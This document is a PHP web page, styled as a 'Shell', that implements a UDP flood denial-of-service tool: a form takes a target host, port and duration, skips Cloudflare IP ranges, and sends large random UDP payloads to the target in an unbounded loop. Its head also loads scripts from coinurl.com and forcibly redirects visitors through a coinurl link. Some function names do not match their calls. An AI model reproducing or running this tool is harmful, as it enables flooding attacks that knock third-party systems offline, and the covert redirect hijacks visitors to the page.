<html>
<head>
<script type="text/javascript" src="http://coinurl.com/script/jquery-latest.min.js"></script>
<script type="text/javascript" src="http://coinurl.com/script/jquery.cookie.js"></script>
<script type="text/javascript" src="http://coinurl.com/script/md5.js"></script>
<script type="text/javascript">
$(function() {
var id = "7a00b2ffdca51452c17b85703d5402e1";
var url = encodeURIComponent(window.location.href);
var hash = CryptoJS.MD5(url);
if($.cookie('coinurl_' + hash) == null) {
var redirect = "http://coinurl.com/redirect.php?id=" + id + "&url=" + url;
$.cookie('coinurl_' + hash, true, {expires: 1});
top.location.assign(redirect);
}
});
</script>
DoS
</head>
<body>
<center>
<font color="00FF00">
<pre>
__ _ _ _
/ ____| | | | |
(___ | |__ ___| | |
\___ \| '_ \ / _ \ | |
__ _) | | | | __/ | |
__/|_| |_|\___|_|_|
</pre>
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>
<?php
function generateRandStr($length){
$randstr = "";
for($i=0; $i<$length; $i++){
$randnum = mt_rand(0,61);
if($randnum < 10){
$randstr .= chr($randnum+48);
}else if($randnum < 36){
$randstr .= chr($randnum+55);
}else{
$randstr .= chr($randnum+61);
}
}
return $randstr;
}
function checkNullStr($input)
{
if ($input === null)
{
die();
}
$output = $input;
return $output;
}
function checkCloudFlareIP($ip) {
$ranges = array(
"204.93.240.0" => "204.93.240.255",
"204.93.177.0" => "204.93.177.255",
"199.27.128.0" => "199.27.135.255",
"173.245.48.0" => "173.245.63.255",
"103.21.244.0" => "103.21.244.255",
"103.22.200.0" => "103.22.203.255",
"103.31.4.0" => "103.31.4.255",
"141.101.64.0" => "141.101.127.255",
"108.162.192.0" => "108.162.255.255",
"190.93.240.0" => "190.93.255.255",
"188.114.96.0" => "188.114.96.255",
"197.234.240.0" => "197.234.240.255",
"198.41.128.0" => "198.41.128.255",
"162.158.0.0" => "162.158.0.255");
foreach ($ranges as $k => $v) {
if (ip2long($k) <= ip2long($ip) && ip2long($ip) <= ip2long($v)) {
die();
}
}
return $ip;
}
function validateHost($domain) {
$domain = str_ireplace("https://", "", $domain);
$domain = str_ireplace("http://", "", $domain);
$domain = str_ireplace("ftp://", "", $domain);
$domain = str_ireplace("udp://", "", $domain);
$domain = str_ireplace("tcp://", "", $domain);
$domainEx = explode("/", $domain);
$domainEx = explode(":", $domain);
$domain = checkCloudFlare($domainEx[0]);
if (filter_var($domain, FILTER_VALIDATE_IP)) {
return $domain;
} else {
if (!filter_var($domain, FILTER_VALIDATE_IP)) {
if (filter_var(gethostbyname($domain), FILTER_VALIDATE_IP)) {
return $domain;
} else {
die();
}
} else {
die();
}
}
}
//UDP
if(isset($_GET['host'])&&isnumeric($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = checkNullStr((int)$_GET['time']);
$time = time();
//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = checkNullStr(validateHost($_GET['host']));
for($i=0;$i<65535;$i++){
$out .= generateRandStr(1);
}
$out = str_replace(" ","X",$out);
while(1){
$packets++;
if(time() > $max_time){
break;
}
if ($_GET['port'] == "rand")
{
$rand = rand(1,65535);
}
else
{
$rand = checkNullStr((int)$_GET['port']);
}
$fp = stream_socket_client('udp://'.$host.':'.$rand, $errno, $errstr, 5);
stream_set_blocking($fp, 0);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Port (rand=random): <br><input type=text name=port><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Port (rand=random): <br><input type=text name=port><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}
?>
</center>
</body>
</html>